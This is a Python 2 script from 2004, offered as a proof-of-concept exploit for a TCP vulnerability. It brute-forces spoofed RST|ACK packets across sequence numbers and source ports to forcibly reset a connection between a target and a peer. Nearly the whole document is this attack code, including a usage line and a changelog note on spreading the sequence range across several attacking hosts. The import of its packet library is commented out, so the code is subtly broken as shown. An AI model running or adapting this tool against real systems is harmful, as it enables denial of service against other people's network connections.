TCP vulnerability proof of concept exploit(Python version)
#!/usr/bin/python
#
# Version: 1.1
# Copyright 2004 r3d5un
#
# disconn.py is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# disconn.py is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with disconn.py; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# Version 1.1 changes:
# -se option added (Sequence End). This allows the
# user to specify an upper sequnece number, and thus
# the distribution to more clients.
#
# i.e 4 Hosts 0-1000000000 1000000001-2000000000
# 2000000001-3000000000 3000000001-4294967295
#
#
#import btk
import sys
import string
def cmdParser(args):
pos = 1
quiet = False
seq = 0
maxseqnum = 4294967295
win = 8000
running = True
while running:
running = False
if args[pos] == "-s":
try:
seq = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1
if args[pos] == "-se":
try:
maxseqnum = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos +1
elif args[pos] == "-w":
try:
win = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1
elif args[pos] == "-q":
quiet = True
running = True
pos = pos + 1
dstip = args[pos]
dstport = int(args[pos+1])
srcip = args[pos+2]
tmp = string.split(args[pos+3],":")
try:
srcport1 = int(tmp[0])
srcport2 = int(tmp[1])
except:
srcport1 = srcport2 = int(tmp[0])
return dstip,dstport,srcip,srcport1,srcport2,seq,maxseqnum,win,quiet
try:
args = sys.argv
dstip,dstport,srcip,srcport1,srcport2,seqnum,maxseqnum,win,quiet = cmdParser(args)
if not quiet:
print "Attacking " + dstip + " <--> " + srcip
packet = btk.btk()
packet.protocol(btk.TCP)
packet.flags(btk.RST | btk.ACK)
i = seqnum
k = 0
while i < maxseqnum:
packet.options(seq=long(i))
packet.options(ack=long(i))
for p in range (srcport1, srcport2+1):
packet.send(dstip,dstport,srcip,p)
k=(k+1)%1000
if k == 0:
if not quiet:
print "1000 Packets sent (seqnum="+str(i)+")"
i = i + win
except:
print "Usage: disconn.py [-q] [-s <seqnum>] [-se <endseqnum>] [-w <windowsize>] <dst.ip> <dst.port> <src.ip> <src.port>\n"
推荐
评论(0条)
